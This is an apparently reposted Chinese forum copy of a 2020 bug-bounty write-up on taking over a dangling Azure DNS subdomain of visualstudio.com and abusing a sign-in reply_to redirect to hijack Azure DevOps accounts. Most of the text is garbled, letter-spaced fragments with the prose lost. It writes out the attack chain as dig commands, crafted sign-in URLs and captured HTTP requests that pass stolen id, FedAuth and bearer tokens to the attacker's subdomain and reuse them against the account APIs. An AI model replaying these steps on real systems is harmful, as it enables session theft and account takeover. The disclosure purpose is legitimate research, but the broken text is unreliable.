[15672] 2020-07-31_安全研究通过域名劫持实现AzureDevOps账户劫持

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-07-31_安全研究通过域名劫持实现AzureDevOps账户劫持   |   A z u r e   D e v O p s F r e e B u f   2 0 2 0 - 0 7 - 3 1 s u b d o m a i n   t a k e o v e r p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m A z u r e   D e v O p s * . v i s u a l s t u d i o . c o m - p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m N S A z u r e   D N S l o o k u p R e f u s e d d n s - t a k e o v e r   l o o k u p   p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   o n   n a m e s e r v e r   n s 3 - 0 5 . a z u r e - d n s . o r g   s t a t u s :   [ R e f u s e d ] d n s - t a k e o v e r   l o o k u p   p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   o n   n a m e s e r v e r   n s 2 - 0 5 . a z u r e - d n s . n e t   s t a t u s :   [ R e f u s e d ] d n s - t a k e o v e r   l o o k u p   p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   o n   n a m e s e r v e r   n s 1 - 0 5 . a z u r e - d n s . c o m   s t a t u s :   [ R e f u s e d ] d n s - t a k e o v e r   l o o k u p   p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   o n   n a m e s e r v e r   n s 4 - 0 5 . a z u r e - d n s . i n f o   s t a t u s :   [ R e f u s e d ] R e f u s e d l o o k u p p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m A z u r e   D N S A z u r e   D N S A z u r e t a k e o v e r D N S p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m T X T   R e c o r d   -   t x t . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m   A z u r e   D N S   Z o n e   T a k e o v e r   P O C A   R e c o r d   -   a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m     I P 3 . 8 8 . 2 0 3 . 2 0 3 d i g p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m v i s u a l s t u d i o . c o m l o g i n . m i c r o s o f t o n l i n e . c o m 访 a p p . v s s p s . v i s u a l s t u d i o . c o m l o g i n . m i c r o s o f t o n l i n e . c o m h t t p s : / / a p p . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n i n ? r e a l m = a p p . v s a e x . v i s u a l s t u d i o . c o m & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a p p . v s a e x . v i s u a l s t u d i o . c o m % 2 F & r e d i r e c t = 1 & c o n t e x t = e y J o d C I 6 M y w i a G l k I j o i N D A 0 O D F k Z D A t Z D U z M S 1 h M W E 2 L W Q 0 M z Y t M D Q x N T k 3 M W I 0 M m Q 2 I i w i c X M i O n t 9 L C J y c i I 6 I i I s I n Z o I j o i I i w i Y 3 Y i O i I i L C J j c y I 6 I i J 9 0 # c t x = e y J T a W d u S W 5 D b 2 9 r a W V E b 2 1 h a W 5 z I j p b I m h 0 d H B z O i 8 v b G 9 n a W 4 u b W l j c m 8 z b 2 Z 0 b 2 5 s a W 5 l L m N v b S J d f Q 2 h t t p s : / / l o g i n . m i c r o s o f t o n l i n e . c o m / o m i t t e d h t t p s : / / a p p . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n i n : r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a p p . v s a e x . v i s u a l s t u d i o . c o m % 2 F * . v i s u a l s t u d i o . c o m t o k e n U R L h t t p s : / / a p p . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n i n ? r e a l m = a p p . v s a e x . v i s u a l s t u d i o . c o m & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - $   d i g   t x t   t x t . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m   @ 1 . 1 . 1 . 1   . . . o m i t t e d   f o r   b r e v i t y . . .   ; ;   A N S W E R   S E C T I O N :   t x t . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   1 0   I N   T X T   " A z u r e   D N S   Z o n e   T a k e o v e r   P O C " $   d i g   a   a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m   @ 1 . 1 . 1 . 1 . . . o m i t t e d   f o r   b r e v i t y . . . ; ;   A N S W E R   S E C T I O N : a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m .   2 4 7 5   I N   A   3 . 8 8 . 2 0 3 . 2 0 3
c a s c a d e . v i s u a l s t u d i o . c o m % 2 F & r e d i r e c t = 1 & c o n t e x t = e y J o d C I 6 M y w i a G l k I j o i N D A 0 O D F k Z D A t Z D U z M S 1 h M W E 2 L W Q 0 M z Y t M D Q x N T k 3 M W I 0 M m Q 2 I i w i c X M i O n t 9 L C J y c i I 6 I i I s I n Z o I j o i I i w i Y 3 Y i O i I i L C J j c y I 6 I i J 9 0 r e p l y _ t o h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 访 m i c r o s o f t   l i v e . c o m 访 a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m P O S T a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m a p p . v s a e x . v i s u a l s t u d i o . c o m P O S T 访 a p p . v s a e x . v i s u a l s t u d i o . c o m t o k e n t o k e n v s a e x . v i s u a l s t u d i o . c o m ,   d e v . a z u r e . c o m   a n d   v s s p s . d e v . a z u r e . c o m a p p . v s a e x . v i s u a l s t u d i o . c o m t o k e n P O S T   / _ s i g n e d i n ? r e a l m = a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m & p r o t o c o l = & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 F   H T T P / 1 . 1 H o s t :   a r e c . v s s p s . v i s u a l s t u d i o . c o m C o o k i e :   . . . o m i t t e d   f o r   b r e v i t y . . . i d _ t o k e n = < s n i p > & F e d A u t h = < s n i p > & F e d A u t h 1 = < s n i p > % 2 B P O S T   / _ s i g n e d i n ? r e a l m = a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m & p r o t o c o l = & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 F   H T T P / 1 . 1 H o s t :   a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m C o n t e n t - L e n g t h :   4 6 3 4 R e f e r e r :   h t t p s : / / a r e c . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n e d i n ? r e a l m = a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m & p r o t o c o l = & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 F C o o k i e :   . . . o m i t t e d   f o r   b r e v i t y . . . i d _ t o k e n = < s n i p > & F e d A u t h = < s n i p > & F e d A u t h 1 = < s n i p > P O S T   / _ a p i s / W e b P l a t f o r m A u t h / S e s s i o n T o k e n   H T T P / 1 . 1 H o s t :   a p p . v s a e x . v i s u a l s t u d i o . c o m C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   1 0 5 O r i g i n :   h t t p s : / / a p p . v s a e x . v i s u a l s t u d i o . c o m X - V S S - R e a u t h e n t i c a t i o n A c t i o n :   S u p p r e s s C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n A c c e p t :   a p p l i c a t i o n / j s o n ; a p i - v e r s i o n = 6 . 0 - p r e v i e w . 1 ; e x c l u d e U r l s = t r u e
a p p . v s a e x . v i s u a l s t u d i o . c o m t o k e n t o k e n a p p . v s a e x . v i s u a l s t u d i o . c o m h t t p s : / / a p p . v s a e x . v i s u a l s t u d i o . c o m / m e ? m k t = e n - U S 访 d e v . a z u r e . c o m 访 d e v . a z u r e . c o m A c c e p t :   a p p l i c a t i o n / j s o n ; a p i - v e r s i o n = 6 . 0 - p r e v i e w . 1 ; e x c l u d e U r l s = t r u e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t . . . o m i t t e d   f o r   b r e v i t y . . . C o o k i e :   U s e r A u t h e n t i c a t i o n = < s n i p p e d   i d _ t o k e n > ;   F e d A u t h = < s n i p p e d   F e d A u t h > ;   F e d A u t h 1 = < s n i p p e d > { " a p p I d " : " 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 " , " f o r c e " : f a l s e , " t o k e n T y p e " : 0 , " n a m e d T o k e n I d " : " A e x . P r o f i l e " } H T T P / 1 . 1   2 0 0   O K C a c h e - C o n t r o l :   n o - c a c h e ,   n o - s t o r e ,   m u s t - r e v a l i d a t e P r a g m a :   n o - c a c h e C o n t e n t - L e n g t h :   9 3 3 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = u t f - 8 ;   a p i - v e r s i o n = 6 . 0 - p r e v i e w . 1 . . . o m i t t e d   f o r   b r e v i t y . . . { " a p p I d " : " 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 " , " t o k e n " : " < s n i p > " , " t o k e n T y p e " : " s e s s i o n " , " v a l i d T o " : " 2 0 2 0 - 0 5 - 1 2 T 0 6 : 4 5 : 4 7 . 2 0 0 7 4 7 4 Z " , " n a m e d T o k e n I d " : " A e x . P r o f i l e " } G E T   / _ a p i s / U s e r / U s e r   H T T P / 1 . 1 H o s t :   a p p . v s a e x . v i s u a l s t u d i o . c o m C o n n e c t i o n :   c l o s e X - T F S - F e d A u t h R e d i r e c t :   S u p p r e s s X - V S S - R e a u t h e n t i c a t i o n A c t i o n :   S u p p r e s s X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t A c c e p t - L a n g u a g e :   e n - U S A u t h o r i z a t i o n :   B e a r e r   < s n i p   j u s t   r e c i e v e d   b e a r e r   t o k e n > A c c e p t :   a p p l i c a t i o n / j s o n ; a p i - v e r s i o n = 6 . 0 - p r e v i e w . 1 ; e x c l u d e U r l s = t r u e U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 9 . 0 . 3 9 4 5 . 1 3 0   S a f a r i / 5 3 7 . 3 6 X - T F S - S e s s i o n :   a b 1 e 4 b 5 6 - 5 9 9 c - 4 a b 6 - 9 f 5 e - 7 5 6 c 4 8 6 a 0 f 2 b S e c - F e t c h - S i t e :   s a m e - o r i g i n S e c - F e t c h - M o d e :   c o r s R e f e r e r :   h t t p s : / / a p p . v s a e x . v i s u a l s t u d i o . c o m / m e ? m k t = e n - U S A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e H T T P / 1 . 1   2 0 0   O K C a c h e - C o n t r o l :   n o - c a c h e P r a g m a :   n o - c a c h e C o n t e n t - L e n g t h :   2 5 8 . . . o m i t t e d   f o r   b r e v i t y . . . { " d e s c r i p t o r " : " m s a . N T g 0 Z j c 4 N D A t Y z c 5 Z C 0 3 M W U 0 L W J k N 2 I t M D Z h Y 2 Y 1 N 2 Q 2 O T A 1 " , " d i s p l a y N a m e " : " s " , " m a i l " : " < a c c o u n t _ e m a i l > " , " u n c o n f i r m e d M a i l " : n u l l , " c o u n t r y " : " A U " , " d a t e C r e a t e d " : " 2 0 1 8 - 0 5 - 2 5 T 2 3 : 1 9 : 5 3 . 6 8 4 3 3 8 3 + 0 0 : 0 0 " t o k e n G E T   / s e a n y e o h / _ u s e r s S e t t i n g s / k e y s ? _ _ r t = f p s & _ _ v e r = 2   H T T P / 1 . 1 H o s t :   d e v . a z u r e . c o m C o n n e c t i o n :   c l o s e x - t f s - f e d a u t h r e d i r e c t :   S u p p r e s s O r i g i n :   h t t p s : / / d e v . a z u r e . c o m x - v s s - r e a u t h e n t i c a t i o n a c t i o n :   S u p p r e s s a u t h o r i z a t i o n :   B e a r e r   < s n i p > a c c e p t :   a p p l i c a t i o n / j s o n ; a p i - v e r s i o n = 5 . 0 - p r e v i e w . 1 ; e x c l u d e U r l s = t r u e ; e n u m s A s N u m b e r s = t r u e ; m s D a t e F o r m a t = t r u e ; n o A r r a y W r a p = t r u e U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 9 . 0 . 3 9 4 5 . 1 3 0   S a f a r i / 5 3 7 . 3 6 S e c - F e t c h - S i t e :   s a m e - s i t e S e c - F e t c h - M o d e :   c o r s A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 9
h t t p s : / / a p p . v s s p s . v i s u a l s t u d i o . c o m / _ s i g n i n ? r e a l m = a p p . v s a e x . v i s u a l s t u d i o . c o m & r e p l y _ t o = h t t p s % 3 A % 2 F % 2 F a r e c . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m % 2 F & r e d i r e c t = 1 & c o n t e x t = e y J o d C I 6 M y w i a G l k I j o i N D A 0 O D F k Z D A t Z D U z M S 1 h M W E 2 L W Q 0 M z Y t M D Q x N T k 3 M W I 0 M m Q 2 I i w i c X M i O n t 9 L C J y c i I 6 I i I s I n Z o I j o i I i w i Y 3 Y i O i I i L C J j c y I 6 I i J 9 0 a p p . v s a e x . v i s u a l s t u d i o . c o m 访 A z u r e   D e v O p s p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m M X * . p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m S S L M i c r o s o f t p r o j e c t - c a s c a d e . v i s u a l s t u d i o . c o m a p p . v s s p s . v i s u a l s t u d i o . c o m r e p l y _ t o t o k e n a p p . v s a e x . v i s u a l s t u d i o . c o m 访 2 0 2 0 . 5 . 2 0   -   2 0 2 0 . 5 . 2 2   -   2 0 2 0 . 5 . 2 2   -   $ 3 0 0 0 a s s e t n o t e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则